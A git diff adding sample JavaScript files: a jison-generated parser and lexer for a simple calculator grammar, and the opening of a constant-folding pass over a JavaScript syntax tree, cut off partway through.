+                            errStr += 'Expecting ' + expected.join(', ') + ', got unexpected ' + errSymbolDescr;
+                        } else {
+                            errStr += 'Unexpected ' + errSymbolDescr;
+                        }
+                        p = this.constructParseErrorInfo(errStr, null, expected, (error_rule_depth >= 0));
+                        r = this.parseError(p.errStr, p);
+
+
+                        if (!p.recoverable) {
+                            retval = r;
+                            break;
+                        } else {
+                            // TODO: allow parseError callback to edit symbol and or state tat the start of the error recovery process...
+                        }
+                    }
+
+
+
+                    // just recovered from another error
+                    if (recovering === ERROR_RECOVERY_TOKEN_DISCARD_COUNT && error_rule_depth >= 0) {
+                        // only barf a fatal hairball when we're out of look-ahead symbols and none hit a match;
+                        // this DOES discard look-ahead while recovering from an error when said look-ahead doesn't
+                        // suit the error recovery rules... The error HAS been reported already so we're fine with
+                        // throwing away a few items if that is what it takes to match the nearest recovery rule!
+                        if (symbol === EOF || preErrorSymbol === EOF) {
+                            p = this.constructParseErrorInfo((errStr || 'Parsing halted while starting to recover from another error.'), null, expected, false);
+                            retval = this.parseError(p.errStr, p);
+                            break;
+                        }
+
+                        // discard current lookahead and grab another
+
+                        yytext = lexer.yytext;
+
+                        yyloc = lexer.yylloc;
+
+                        symbol = lex();
+
+
+                    }
+
+                    // try to recover from error
+                    if (error_rule_depth < 0) {
+                        p = this.constructParseErrorInfo((errStr || 'Parsing halted. No suitable error recovery rule available.'), null, expected, false);
+                        retval = this.parseError(p.errStr, p);
+                        break;
+                    }
+                    sp -= error_rule_depth;
+
+                    preErrorSymbol = (symbol === TERROR ? 0 : symbol); // save the lookahead token
+                    symbol = TERROR;            // insert generic error symbol as new lookahead
+                    // allow N (default: 3) real symbols to be shifted before reporting a new error
+                    recovering = ERROR_RECOVERY_TOKEN_DISCARD_COUNT;
+
+                    newState = sstack[sp - 1];
+
+
+
+                    continue;
+                }
+            }
+
+
+            switch (action) {
+            // catch misc. parse failures:
+            default:
+                // this shouldn't happen, unless resolve defaults are off
+                if (action instanceof Array) {
+                    p = this.constructParseErrorInfo(('Parse Error: multiple actions possible at state: ' + state + ', token: ' + symbol), null, null, false);
+                    retval = this.parseError(p.errStr, p);
+                    break;
+                }
+                // Another case of better safe than sorry: in case state transitions come out of another error recovery process
+                // or a buggy LUT (LookUp Table):
+                p = this.constructParseErrorInfo('Parsing halted. No viable error recovery approach available due to internal system failure.', null, null, false);
+                retval = this.parseError(p.errStr, p);
+                break;
+
+            // shift:
+            case 1:
+                //this.shiftCount++;
+                stack[sp] = symbol;
+                vstack[sp] = lexer.yytext;
+                lstack[sp] = lexer.yylloc;
+                sstack[sp] = newState; // push state
+                ++sp;
+                symbol = 0;
+                if (!preErrorSymbol) { // normal execution / no error
+                    // Pick up the lexer details for the current symbol as that one is not 'look-ahead' any more:
+
+                    yytext = lexer.yytext;
+
+                    yyloc = lexer.yylloc;
+
+                    if (recovering > 0) {
+                        recovering--;
+
+                    }
+                } else {
+                    // error just occurred, resume old lookahead f/ before error, *unless* that drops us straight back into error mode:
+                    symbol = preErrorSymbol;
+                    preErrorSymbol = 0;
+
+                    // read action for current state and first input
+                    t = (table[newState] && table[newState][symbol]) || NO_ACTION;
+                    if (!t[0]) {
+                        // forget about that symbol and move forward: this wasn't an 'forgot to insert' error type where
+                        // (simple) stuff might have been missing before the token which caused the error we're
+                        // recovering from now...
+
+                        symbol = 0;
+                    }
+                }
+
+                continue;
+
+            // reduce:
+            case 2:
+                //this.reductionCount++;
+                this_production = this.productions_[newState - 1];  // `this.productions_[]` is zero-based indexed while states start from 1 upwards...
+                len = this_production[1];
+                lstack_end = sp;
+                lstack_begin = lstack_end - (len || 1);
+                lstack_end--;
+
+
+
+                // Make sure subsequent `$$ = $1` default action doesn't fail
+                // for rules where len==0 as then there's no $1 (you're reducing an epsilon rule then!)
+                //
+                // Also do this to prevent nasty action block codes to *read* `$0` or `$$`
+                // and *not* get `undefined` as a result for their efforts!
+                vstack[sp] = undefined;
+
+                // perform semantic action
+                yyval.$ = vstack[sp - len]; // default to $$ = $1; result must produce `undefined` when len == 0, as then there's no $1
+
+                // default location, uses first token for firsts, last for lasts
+                yyval._$ = {
+                    first_line: lstack[lstack_begin].first_line,
+                    last_line: lstack[lstack_end].last_line,
+                    first_column: lstack[lstack_begin].first_column,
+                    last_column: lstack[lstack_end].last_column
+                };
+                if (ranges) {
+                  yyval._$.range = [lstack[lstack_begin].range[0], lstack[lstack_end].range[1]];
+                }
+
+                r = this.performAction.call(yyval, yytext, yyloc, sharedState.yy, newState, sp - 1, vstack, lstack);
+
+                if (typeof r !== 'undefined') {
+                    retval = r;
+                    break;
+                }
+
+                // pop off stack
+                sp -= len;
+
+                // don't overwrite the `symbol` variable: use a local var to speed things up:
+                var ntsymbol = this_production[0];    // push nonterminal (reduce)
+                stack[sp] = ntsymbol;
+                vstack[sp] = yyval.$;
+                lstack[sp] = yyval._$;
+                // goto new state = table[STATE][NONTERMINAL]
+                newState = table[sstack[sp - 1]][ntsymbol];
+                sstack[sp] = newState;
+                ++sp;
+
+                continue;
+
+            // accept:
+            case 3:
+                retval = true;
+                // Return the `$accept` rule's `$$` result, if available.
+                //
+                // Also note that JISON always adds this top-most `$accept` rule (with implicit,
+                // default, action):
+                //
+                //     $accept: <startSymbol> $end
+                //                  %{ $$ = $1; @$ = @1; %}
+                //
+                // which, combined with the parse kernel's `$accept` state behaviour coded below,
+                // will produce the `$$` value output of the <startSymbol> rule as the parse result,
+                // IFF that result is *not* `undefined`. (See also the parser kernel code.)
+                //
+                // In code:
+                //
+                //                  %{
+                //                      @$ = @1;            // if location tracking support is included
+                //                      if (typeof $1 !== 'undefined')
+                //                          return $1;
+                //                      else
+                //                          return true;           // the default parse result if the rule actions don't produce anything
+                //                  %}
+                if (typeof yyval.$ !== 'undefined') {
+                    retval = yyval.$;
+                }
+                break;
+            }
+
+            // break out of loop: we accept or fail with error
+            break;
+        }
+    } catch (ex) {
+        // report exceptions through the parseError callback too:
+        p = this.constructParseErrorInfo('Parsing aborted due to exception.', ex, null, false);
+        retval = this.parseError(p.errStr, p);
+    } finally {
+        retval = this.cleanupAfterParse(retval, true);
+        this.__reentrant_call_depth--;
+    }
+
+    return retval;
+},
+yyErrOk: 1
+};
+parser.originalParseError = parser.parseError;
+parser.originalQuoteName = parser.quoteName;
+/*! @file lex.l
+ * @brief Lexical Analysis
+ *********************************************************************
+ * a simple calculator with variables
+ *
+ * sample-files for a artikel in developerworks.ibm.com
+ * Author: Christian Hagen, chagen@de.ibm.com
+ * 
+ * @par parse.l & parse.c
+ * grammar for the parser-generator bison
+ * 
+ *********************************************************************
+ */
+
+// #define YYERROR_VERBOSE 1
+// #define YYDEBUG 1
+// int yydebug=0;
+
+/*--------------------------------------------------------------------
+ * 
+ * global variables
+ * 
+ *------------------------------------------------------------------*/
+static Variable *var;
+
+
+/*------------------------------------------------------------------------------
+ * 
+ * functions
+ * 
+ *----------------------------------------------------------------------------*/
+//extern
+//void yyerror(char *s) {
+// // simple error-message
+// //  printf("Error '%s'\n", s);
+// //  a more sophisticated error-function
+//  PrintError(s);
+//}
+
+/*--------------------------------------------------------------------
+ * parse.y
+ *------------------------------------------------------------------*/
+/* generated by jison-lex 0.3.4-144 */
+var lexer = (function () {
+// See also:
+// http://stackoverflow.com/questions/1382107/whats-a-good-way-to-extend-error-in-javascript/#35881508
+// but we keep the prototype.constructor and prototype.name assignment lines too for compatibility
+// with userland code which might access the derived class in a 'classic' way.
+function JisonLexerError(msg, hash) {
+    Object.defineProperty(this, 'name', {
+        enumerable: false,
+        writable: false,
+        value: 'JisonLexerError'
+    });
+
+    if (msg == null) msg = '???';
+
+    Object.defineProperty(this, 'message', {
+        enumerable: false,
+        writable: true,
+        value: msg
+    });
+
+    this.hash = hash;
+
+    var stacktrace;
+    if (hash && hash.exception instanceof Error) {
+        var ex2 = hash.exception;
+        this.message = ex2.message || msg;
+        stacktrace = ex2.stack;
+    }
+    if (!stacktrace) {
+        if (Error.hasOwnProperty('captureStackTrace')) { // V8
+            Error.captureStackTrace(this, this.constructor);
+        } else {
+            stacktrace = (new Error(msg)).stack;
+        }
+    }
+    if (stacktrace) {
+        Object.defineProperty(this, 'stack', {
+            enumerable: false,
+            writable: false,
+            value: stacktrace
+        });
+    }
+}
+
+    if (typeof Object.setPrototypeOf === 'function') {
+        Object.setPrototypeOf(JisonLexerError.prototype, Error.prototype);
+    } else {
+        JisonLexerError.prototype = Object.create(Error.prototype);
+    }
+    JisonLexerError.prototype.constructor = JisonLexerError;
+    JisonLexerError.prototype.name = 'JisonLexerError';
+
+
+var lexer = {
+    EOF: 1,
+    ERROR: 2,
+
+    // JisonLexerError: JisonLexerError,        // <-- injected by the code generator
+
+    // options: {},                             // <-- injected by the code generator
+
+    // yy: ...,                                 // <-- injected by setInput()
+
+    __currentRuleSet__: null,                   // <-- internal rule set cache for the current lexer state
+
+    parseError: function lexer_parseError(str, hash) {
+        if (this.yy.parser && typeof this.yy.parser.parseError === 'function') {
+            return this.yy.parser.parseError(str, hash) || this.ERROR;
+        } else {
+            throw new this.JisonLexerError(str);
+        }
+    },
+
+    // clear the lexer token context; intended for internal use only
+    clear: function lexer_clear() {
+        this.yytext = '';
+        this.yyleng = 0;
+        this.match = '';
+        this.matches = false;
+        this._more = false;
+        this._backtrack = false;
+    },
+
+    // resets the lexer, sets new input
+    setInput: function lexer_setInput(input, yy) {
+        this.yy = yy || this.yy || {};
+        this._input = input;
+        this.clear();
+        this._signaled_error_token = this.done = false;
+        this.yylineno = 0;
+        this.matched = '';
+        this.conditionStack = ['INITIAL'];
+        this.__currentRuleSet__ = null;
+        this.yylloc = {
+            first_line: 1,
+            first_column: 0,
+            last_line: 1,
+            last_column: 0
+        };
+        if (this.options.ranges) {
+            this.yylloc.range = [0, 0];
+        }
+        this.offset = 0;
+        return this;
+    },
+
+    // consumes and returns one char from the input
+    input: function lexer_input() {
+        if (!this._input) {
+            this.done = true;
+            return null;
+        }
+        var ch = this._input[0];
+        this.yytext += ch;
+        this.yyleng++;
+        this.offset++;
+        this.match += ch;
+        this.matched += ch;
+        // Count the linenumber up when we hit the LF (or a stand-alone CR).
+        // On CRLF, the linenumber is incremented when you fetch the CR or the CRLF combo
+        // and we advance immediately past the LF as well, returning both together as if
+        // it was all a single 'character' only.
+        var slice_len = 1;
+        var lines = false;
+        if (ch === '\n') {
+            lines = true;
+        } else if (ch === '\r') {
+            lines = true;
+            var ch2 = this._input[1];
+            if (ch2 === '\n') {
+                slice_len++;
+                ch += ch2;
+                this.yytext += ch2;
+                this.yyleng++;
+                this.offset++;
+                this.match += ch2;
+                this.matched += ch2;
+                if (this.options.ranges) {
+                    this.yylloc.range[1]++;
+                }
+            }
+        }
+        if (lines) {
+            this.yylineno++;
+            this.yylloc.last_line++;
+        } else {
+            this.yylloc.last_column++;
+        }
+        if (this.options.ranges) {
+            this.yylloc.range[1]++;
+        }
+
+        this._input = this._input.slice(slice_len);
+        return ch;
+    },
+
+    // unshifts one char (or a string) into the input
+    unput: function lexer_unput(ch) {
+        var len = ch.length;
+        var lines = ch.split(/(?:\r\n?|\n)/g);
+
+        this._input = ch + this._input;
+        this.yytext = this.yytext.substr(0, this.yytext.length - len);
+        //this.yyleng -= len;
+        this.offset -= len;
+        var oldLines = this.match.split(/(?:\r\n?|\n)/g);
+        this.match = this.match.substr(0, this.match.length - len);
+        this.matched = this.matched.substr(0, this.matched.length - len);
+
+        if (lines.length - 1) {
+            this.yylineno -= lines.length - 1;
+        }
+
+        this.yylloc.last_line = this.yylineno + 1;
+        this.yylloc.last_column = (lines ?
+                (lines.length === oldLines.length ? this.yylloc.first_column : 0)
+                + oldLines[oldLines.length - lines.length].length - lines[0].length :
+                this.yylloc.first_column - len);
+
+        if (this.options.ranges) {
+            this.yylloc.range[1] = this.yylloc.range[0] + this.yyleng - len;
+        }
+        this.yyleng = this.yytext.length;
+        this.done = false;
+        return this;
+    },
+
+    // When called from action, caches matched text and appends it on next action
+    more: function lexer_more() {
+        this._more = true;
+        return this;
+    },
+
+    // When called from action, signals the lexer that this rule fails to match the input, so the next matching rule (regex) should be tested instead.
+    reject: function lexer_reject() {
+        if (this.options.backtrack_lexer) {
+            this._backtrack = true;
+        } else {
+            // when the parseError() call returns, we MUST ensure that the error is registered.
+            // We accomplish this by signaling an 'error' token to be produced for the current
+            // .lex() run.
+            this._signaled_error_token = (this.parseError('Lexical error on line ' + (this.yylineno + 1) + '. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n' + this.showPosition(), {
+                text: this.match,
+                token: null,
+                line: this.yylineno,
+                loc: this.yylloc,
+                lexer: this
+            }) || this.ERROR);
+        }
+        return this;
+    },
+
+    // retain first n characters of the match
+    less: function lexer_less(n) {
+        return this.unput(this.match.slice(n));
+    },
+
+    // return (part of the) already matched input, i.e. for error messages.
+    // Limit the returned string length to `maxSize` (default: 20).
+    // Limit the returned string to the `maxLines` number of lines of input (default: 1).
+    // Negative limit values equal *unlimited*.
+    pastInput: function lexer_pastInput(maxSize, maxLines) {
+        var past = this.matched.substring(0, this.matched.length - this.match.length);
+        if (maxSize < 0)
+            maxSize = past.length;
+        else if (!maxSize)
+            maxSize = 20;
+        if (maxLines < 0)
+            maxLines = past.length;         // can't ever have more input lines than this!
+        else if (!maxLines)
+            maxLines = 1;
+        // `substr` anticipation: treat \r\n as a single character and take a little
+        // more than necessary so that we can still properly check against maxSize
+        // after we've transformed and limited the newLines in here:
+        past = past.substr(-maxSize * 2 - 2);
+        // now that we have a significantly reduced string to process, transform the newlines
+        // and chop them, then limit them:
+        var a = past.replace(/\r\n|\r/g, '\n').split('\n');
+        a = a.slice(-maxLines);
+        past = a.join('\n');
+        // When, after limiting to maxLines, we still have to much to return, 
+        // do add an ellipsis prefix...
+        if (past.length > maxSize) {
+            past = '...' + past.substr(-maxSize);
+        }
+        return past;
+    },
+
+    // return (part of the) upcoming input, i.e. for error messages.
+    // Limit the returned string length to `maxSize` (default: 20).
+    // Limit the returned string to the `maxLines` number of lines of input (default: 1).
+    // Negative limit values equal *unlimited*.
+    upcomingInput: function lexer_upcomingInput(maxSize, maxLines) {
+        var next = this.match;
+        if (maxSize < 0)
+            maxSize = next.length + this._input.length;
+        else if (!maxSize)
+            maxSize = 20;
+        if (maxLines < 0)
+            maxLines = maxSize;         // can't ever have more input lines than this!
+        else if (!maxLines)
+            maxLines = 1;
+        // `substring` anticipation: treat \r\n as a single character and take a little
+        // more than necessary so that we can still properly check against maxSize
+        // after we've transformed and limited the newLines in here:
+        if (next.length < maxSize * 2 + 2) {
+            next += this._input.substring(0, maxSize * 2 + 2);  // substring is faster on Chrome/V8
+        }
+        // now that we have a significantly reduced string to process, transform the newlines
+        // and chop them, then limit them:
+        var a = next.replace(/\r\n|\r/g, '\n').split('\n');
+        a = a.slice(0, maxLines);
+        next = a.join('\n');
+        // When, after limiting to maxLines, we still have to much to return, 
+        // do add an ellipsis postfix...
+        if (next.length > maxSize) {
+            next = next.substring(0, maxSize) + '...';
+        }
+        return next;
+    },
+
+    // return a string which displays the character position where the lexing error occurred, i.e. for error messages
+    showPosition: function lexer_showPosition(maxPrefix, maxPostfix) {
+        var pre = this.pastInput(maxPrefix).replace(/\s/g, ' ');
+        var c = new Array(pre.length + 1).join('-');
+        return pre + this.upcomingInput(maxPostfix).replace(/\s/g, ' ') + '\n' + c + '^';
+    },
+
+    // helper function, used to produce a human readable description as a string, given
+    // the input `yylloc` location object. 
+    // Set `display_range_too` to TRUE to include the string character inex position(s)
+    // in the description if the `yylloc.range` is available. 
+    describeYYLLOC: function lexer_describe_yylloc(yylloc, display_range_too) {
+        var l1 = yylloc.first_line;
+        var l2 = yylloc.last_line;
+        var o1 = yylloc.first_column;
+        var o2 = yylloc.last_column - 1;
+        var dl = l2 - l1;
+        var d_o = (dl === 0 ? o2 - o1 : 1000);
+        var rv;
+        if (dl === 0) {
+            rv = 'line ' + l1 + ', ';
+            if (d_o === 0) {
+                rv += 'column ' + o1;
+            } else {
+                rv += 'columns ' + o1 + ' .. ' + o2;
+            }
+        } else {
+            rv = 'lines ' + l1 + '(column ' + o1 + ') .. ' + l2 + '(column ' + o2 + ')';
+        }
+        if (yylloc.range && display_range_too) {
+            var r1 = yylloc.range[0];
+            var r2 = yylloc.range[1] - 1;
+            if (r2 === r1) {
+                rv += ' {String Offset: ' + r1 + '}';
+            } else {
+                rv += ' {String Offset range: ' + r1 + ' .. ' + r2 + '}';
+            }
+        }
+        return rv;
+        // return JSON.stringify(yylloc);
+    },
+
+    // test the lexed token: return FALSE when not a match, otherwise return token.
+    //
+    // `match` is supposed to be an array coming out of a regex match, i.e. `match[0]`
+    // contains the actually matched text string.
+    //
+    // Also move the input cursor forward and update the match collectors:
+    // - yytext
+    // - yyleng
+    // - match
+    // - matches
+    // - yylloc
+    // - offset
+    test_match: function lexer_test_match(match, indexed_rule) {
+        var token,
+            lines,
+            backup,
+            match_str;
+
+        if (this.options.backtrack_lexer) {
+            // save context
+            backup = {
+                yylineno: this.yylineno,
+                yylloc: {
+                    first_line: this.yylloc.first_line,
+                    last_line: this.last_line,
+                    first_column: this.yylloc.first_column,
+                    last_column: this.yylloc.last_column
+                },
+                yytext: this.yytext,
+                match: this.match,
+                matches: this.matches,
+                matched: this.matched,
+                yyleng: this.yyleng,
+                offset: this.offset,
+                _more: this._more,
+                _input: this._input,
+                yy: this.yy,
+                conditionStack: this.conditionStack.slice(0),
+                done: this.done
+            };
+            if (this.options.ranges) {
+                backup.yylloc.range = this.yylloc.range.slice(0);
+            }
+        }
+
+        match_str = match[0];
+        lines = match_str.match(/(?:\r\n?|\n).*/g);
+        if (lines) {
+            this.yylineno += lines.length;
+        }
+        this.yylloc = {
+            first_line: this.yylloc.last_line,
+            last_line: this.yylineno + 1,
+            first_column: this.yylloc.last_column,
+            last_column: lines ?
+                         lines[lines.length - 1].length - lines[lines.length - 1].match(/\r?\n?/)[0].length :
+                         this.yylloc.last_column + match_str.length
+        };
+        this.yytext += match_str;
+        this.match += match_str;
+        this.matches = match;
+        this.yyleng = this.yytext.length;
+        if (this.options.ranges) {
+            this.yylloc.range = [this.offset, this.offset + this.yyleng];
+        }
+        // previous lex rules MAY have invoked the `more()` API rather than producing a token:
+        // those rules will already have moved this `offset` forward matching their match lengths,
+        // hence we must only add our own match length now:
+        this.offset += match_str.length;
+        this._more = false;
+        this._backtrack = false;
+        this._input = this._input.slice(match_str.length);
+        this.matched += match_str;
+        token = this.performAction.call(this, this.yy, this, indexed_rule, this.conditionStack[this.conditionStack.length - 1]);
+        if (this.done && this._input) {
+            this.done = false;
+        }
+        if (token) {
+            return token;
+        } else if (this._backtrack) {
+            // recover context
+            for (var k in backup) {
+                this[k] = backup[k];
+            }
+            this.__currentRuleSet__ = null;
+            return false; // rule action called reject() implying the next rule should be tested instead.
+        } else if (this._signaled_error_token) {
+            // produce one 'error' token as .parseError() in reject() did not guarantee a failure signal by throwing an exception!
+            token = this._signaled_error_token;
+            this._signaled_error_token = false;
+            return token;
+        }
+        return false;
+    },
+
+    // return next match in input
+    next: function lexer_next() {
+        if (this.done) {
+            this.clear();
+            return this.EOF;
+        }
+        if (!this._input) {
+            this.done = true;
+        }
+
+        var token,
+            match,
+            tempMatch,
+            index;
+        if (!this._more) {
+            this.clear();
+        }
+        var rules = this.__currentRuleSet__;
+        if (!rules) {
+            // Update the ruleset cache as we apparently encountered a state change or just started lexing.
+            // The cache is set up for fast lookup -- we assume a lexer will switch states much less often than it will
+            // invoke the `lex()` token-producing API and related APIs, hence caching the set for direct access helps
+            // speed up those activities a tiny bit.
+            rules = this.__currentRuleSet__ = this._currentRules();
+        }
+        for (var i = 0, len = rules.length; i < len; i++) {
+            tempMatch = this._input.match(this.rules[rules[i]]);
+            if (tempMatch && (!match || tempMatch[0].length > match[0].length)) {
+                match = tempMatch;
+                index = i;
+                if (this.options.backtrack_lexer) {
+                    token = this.test_match(tempMatch, rules[i]);
+                    if (token !== false) {
+                        return token;
+                    } else if (this._backtrack) {
+                        match = undefined;
+                        continue; // rule action called reject() implying a rule MISmatch.
+                    } else {
+                        // else: this is a lexer rule which consumes input without producing a token (e.g. whitespace)
+                        return false;
+                    }
+                } else if (!this.options.flex) {
+                    break;
+                }
+            }
+        }
+        if (match) {
+            token = this.test_match(match, rules[index]);
+            if (token !== false) {
+                return token;
+            }
+            // else: this is a lexer rule which consumes input without producing a token (e.g. whitespace)
+            return false;
+        }
+        if (this._input === '') {
+            this.clear();
+            this.done = true;
+            return this.EOF;
+        } else {
+            token = this.parseError('Lexical error on line ' + (this.yylineno + 1) + '. Unrecognized text.\n' + this.showPosition(), {
+                text: this.match + this._input,
+                token: null,
+                line: this.yylineno,
+                loc: this.yylloc,
+                lexer: this
+            }) || this.ERROR;
+            if (token === this.ERROR) {
+                // we can try to recover from a lexer error that parseError() did not 'recover' for us, by moving forward at least one character at a time:
+                if (!this.match.length) {
+                    this.input();
+                }
+            }
+            return token;
+        }
+    },
+
+    // return next match that has a token
+    lex: function lexer_lex() {
+        var r;
+        // allow the PRE/POST handlers set/modify the return token for maximum flexibility of the generated lexer:
+        if (typeof this.options.pre_lex === 'function') {
+            r = this.options.pre_lex.call(this);
+        }
+        while (!r) {
+            r = this.next();
+        }
+        if (typeof this.options.post_lex === 'function') {
+            // (also account for a userdef function which does not return any value: keep the token as is)
+            r = this.options.post_lex.call(this, r) || r;
+        }
+        return r;
+    },
+
+    // backwards compatible alias for `pushState()`;
+    // the latter is symmetrical with `popState()` and we advise to use
+    // those APIs in any modern lexer code, rather than `begin()`.
+    begin: function lexer_begin(condition) {
+        return this.pushState(condition);
+    },
+
+    // activates a new lexer condition state (pushes the new lexer condition state onto the condition stack)
+    pushState: function lexer_pushState(condition) {
+        this.conditionStack.push(condition);
+        this.__currentRuleSet__ = null;
+        return this;
+    },
+
+    // pop the previously active lexer condition state off the condition stack
+    popState: function lexer_popState() {
+        var n = this.conditionStack.length - 1;
+        if (n > 0) {
+            this.__currentRuleSet__ = null;
+            return this.conditionStack.pop();
+        } else {
+            return this.conditionStack[0];
+        }
+    },
+
+    // return the currently active lexer condition state; when an index argument is provided it produces the N-th previous condition state, if available
+    topState: function lexer_topState(n) {
+        n = this.conditionStack.length - 1 - Math.abs(n || 0);
+        if (n >= 0) {
+            return this.conditionStack[n];
+        } else {
+            return 'INITIAL';
+        }
+    },
+
+    // (internal) determine the lexer rule set which is active for the currently active lexer condition state
+    _currentRules: function lexer__currentRules() {
+        if (this.conditionStack.length && this.conditionStack[this.conditionStack.length - 1]) {
+            return this.conditions[this.conditionStack[this.conditionStack.length - 1]].rules;
+        } else {
+            return this.conditions['INITIAL'].rules;
+        }
+    },
+
+    // return the number of states currently on the stack
+    stateStackSize: function lexer_stateStackSize() {
+        return this.conditionStack.length;
+    },
+options: {},
+JisonLexerError: JisonLexerError,
+performAction: function lexer__performAction(yy, yy_, $avoiding_name_collisions, YY_START) {
+
+var YYSTATE = YY_START;
+switch($avoiding_name_collisions) {
+case 0 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       [ \t\r\n]+ */ 
+ 
+    /* eat up whitespace */
+    BeginToken(yy_.yytext); 
+     
+break;
+case 1 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       {DIGIT}+ */ 
+ 
+    BeginToken(yy_.yytext); 
+    yylval.value = atof(yy_.yytext);
+    return VALUE;
+     
+break;
+case 2 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       {DIGIT}+\.{DIGIT}* */ 
+ 
+    BeginToken(yy_.yytext);
+    yylval.value = atof(yy_.yytext);
+    return VALUE;
+     
+break;
+case 3 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       {DIGIT}+[eE]["+""-"]?{DIGIT}* */ 
+ 
+    BeginToken(yy_.yytext);
+    yylval.value = atof(yy_.yytext);
+    return VALUE;
+     
+break;
+case 4 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       {DIGIT}+\.{DIGIT}*[eE]["+""-"]?{DIGIT}* */ 
+ 
+    BeginToken(yy_.yytext);
+    yylval.value = atof(yy_.yytext);
+    return VALUE;
+     
+break;
+case 5 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       {ID} */ 
+ 
+    BeginToken(yy_.yytext);
+    yylval.string = malloc(strlen(yy_.yytext)+1);
+    strcpy(yylval.string, yy_.yytext);
+    return IDENTIFIER;
+     
+break;
+case 6 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       \+ */ 
+  BeginToken(yy_.yytext); return ADD;  
+break;
+case 7 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       - */ 
+  BeginToken(yy_.yytext); return SUB;  
+break;
+case 8 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       \* */ 
+  BeginToken(yy_.yytext); return MULT;  
+break;
+case 9 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       \/ */ 
+  BeginToken(yy_.yytext); return DIV;  
+break;
+case 10 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       \( */ 
+  BeginToken(yy_.yytext); return LBRACE;  
+break;
+case 11 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       \) */ 
+  BeginToken(yy_.yytext); return RBRACE;  
+break;
+case 12 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       ; */ 
+  BeginToken(yy_.yytext); return SEMICOLON;  
+break;
+case 13 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       = */ 
+  BeginToken(yy_.yytext); return ASSIGN;  
+break;
+case 14 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       . */ 
+ 
+    BeginToken(yy_.yytext);
+    return yy_.yytext[0];
+     
+break;
+default:
+  return this.simpleCaseActionClusters[$avoiding_name_collisions];
+}
+},
+simpleCaseActionClusters: {
+
+},
+rules: [
+/^(?:[ \t\r\n]+)/,
+/^(?:([0-9])+)/,
+/^(?:([0-9])+\.([0-9])*)/,
+/^(?:([0-9])+[Ee]["+]?([0-9])*)/,
+/^(?:([0-9])+\.([0-9])*[Ee]["+]?([0-9])*)/,
+/^(?:([A-Z_a-z][0-9A-Z_a-z]*))/,
+/^(?:\+)/,
+/^(?:-)/,
+/^(?:\*)/,
+/^(?:\/)/,
+/^(?:\()/,
+/^(?:\))/,
+/^(?:;)/,
+/^(?:=)/,
+/^(?:.)/
+],
+conditions: {
+  "INITIAL": {
+    rules: [
+      0,
+      1,
+      2,
+      3,
+      4,
+      5,
+      6,
+      7,
+      8,
+      9,
+      10,
+      11,
+      12,
+      13,
+      14
+    ],
+    inclusive: true
+  }
+}
+};
+
+/*--------------------------------------------------------------------
+ * lex.l
+ *------------------------------------------------------------------*/;
+return lexer;
+})();
+parser.lexer = lexer;
+
+function Parser() {
+  this.yy = {};
+}
+Parser.prototype = parser;
+parser.Parser = Parser;
+
+return new Parser();
+})();
+
+
+
+
+if (typeof require !== 'undefined' && typeof exports !== 'undefined') {
+  exports.parser = ccalcParse;
+  exports.Parser = ccalcParse.Parser;
+  exports.parse = function () {
+    return ccalcParse.parse.apply(ccalcParse, arguments);
+  };
+
+}
diff --git a/samples/JavaScript/constant_fold.mjs b/samples/JavaScript/constant_fold.mjs
new file mode 100644
index 0000000000..f2b209726c
--- /dev/null
+++ b/samples/JavaScript/constant_fold.mjs
@@ -0,0 +1,955 @@
+// consumes <stdin> and performs constant folding
+// echo '"use strict";"_"[0],1+2;' | node constant_fold.js
+import _NodePath from '../NodePath';
+const {NodePath} = _NodePath;
+import _WalkCombinator from '../WalkCombinator';
+const {WalkCombinator} = _WalkCombinator;
+
+const $CONSTEXPR = Symbol.for('$CONSTEXTR');
+const $CONSTVALUE = Symbol.for('$CONSTVALUE');
+const IS_EMPTY = path => {
+  return (path.node.type === 'BlockStatement' && path.node.body.length === 0) ||
+    path.node.type === 'EmptyStatement';
+};
+const IN_PRAGMA_POS = path => {
+  if (path.parent && Array.isArray(path.parent.node)) {
+    const siblings = path.parent.node;
+    for (let i = 0; i < path.key; i++) {
+      // preceded by non-pragma
+      if (
+        siblings[i].type !== 'ExpressionStatement' ||
+        !IS_CONSTEXPR(siblings[i].expression) ||
+        typeof CONSTVALUE(siblings[i].expression) !== 'string'
+      ) {
+        return false;
+      }
+    }
+  }
+  return true;
+};
+const IS_PRAGMA = path => {
+  if (path.parent && Array.isArray(path.parent.node)) {
+    const siblings = path.parent.node;
+    for (let i = 0; i < path.key + 1; i++) {
+      // preceded by non-pragma
+      if (
+        siblings[i].type !== 'ExpressionStatement' ||
+        !IS_CONSTEXPR(siblings[i].expression) ||
+        typeof CONSTVALUE(siblings[i].expression) !== 'string'
+      ) {
+        return false;
+      }
+    }
+  }
+  return true;
+};
+// worst case is the completion value
+const IS_NOT_COMPLETION = path => {
+  while (true) {
+    if (!path.parent) {
+      return true;
+    }
+    if (
+      Array.isArray(path.parent.node) &&
+      path.key !== path.parent.node.length - 1
+    ) {
+      return true;
+    }
+    path = path.parent;
+    while (Array.isArray(path.node)) {
+      path = path.parent;
+    }
+    if (/Function/.test(path.node.type)) {
+      return true;
+    } else if (path.node.type === 'Program') {
+      return false;
+    }
+  }
+};
+const REMOVE_IF_EMPTY = path => {
+  if (IS_EMPTY(path)) REMOVE(path);
+  return null;
+};
+const REPLACE_IF_EMPTY = (path, folded) => {
+  if (IS_EMPTY(path)) return REPLACE(path, folded);
+  return path;
+};
+const REMOVE = path => {
+  if (Array.isArray(path.parent.node)) {
+    path.parent.node.splice(path.key, 1);
+  } else {
+    path.parent.node[path.key] = null;
+  }
+  return null;
+};
+const REPLACE = (path, folded) => {
+  const replacement = new NodePath(path.parent, folded, path.key);
+  path.parent.node[path.key] = folded;
+  return replacement;
+};
+// no mutation, this is an atomic value
